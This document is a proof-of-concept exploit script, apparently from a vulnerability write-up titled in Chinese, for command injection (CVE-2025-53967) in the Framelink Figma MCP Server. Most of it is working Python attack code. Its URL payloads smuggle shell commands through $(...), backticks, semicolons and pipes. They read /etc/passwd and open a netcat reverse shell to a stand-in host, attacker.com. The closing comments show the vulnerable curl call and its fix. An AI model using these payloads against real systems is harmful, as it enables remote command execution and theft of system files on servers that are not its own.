CVE-2025-53967：Framelink Figma MCP Server 远程命令执行漏洞

# CVE-2025-53967 - Framelink Figma MCP Server RCE PoC # Vulnerability: Command Injection via fetchWithRetry curl command # Affected: Figma-Context-MCP < v0.6.3 import requests # Target MCP server endpoint TARGET_URL = "http://target-mcp-server:3000/fetch" # Malicious payload with shell metacharacters for command injection # The injected command creates a reverse shell or executes arbitrary OS commands PAYLOAD = { "url": "http://example.com/api/$(id > /tmp/pwned.txt)", "retryCount": 3 } # Alternative payloads using different injection techniques PAYLOAD_BACKTICK = { "url": "http://example.com/`whoami > /tmp/pwned.txt`", "retryCount": 3 } PAYLOAD_SEMICOLON = { "url": "http://example.com/; cat /etc/passwd > /tmp/pwned.txt", "retryCount": 3 } PAYLOAD_PIPE = { "url": "http://example.com/ | nc attacker.com 4444 -e /bin/sh", "retryCount": 3 } def exploit(target_url, payload): """ Send crafted HTTP POST request to trigger command injection in fetchWithRetry function's curl command. """ headers = { "Content-Type": "application/json", "Accept": "application/json" } try: response = requests.post( target_url, json=payload, headers=headers, timeout=10 ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print("[*] Sending command injection payload...") exploit(TARGET_URL, PAYLOAD) print("[*] Check /tmp/pwned.txt on target for command execution evidence") # Vulnerable code reference (fetch-with-retry.ts): # const { stdout } = await execAsync(`curl -s -f "${url}"`); // VULNERABLE - no sanitization # # Fixed in v0.6.3: # const { stdout } = await execAsync(`curl -s -f ${JSON.stringify(url)}`); // FIXED - proper escaping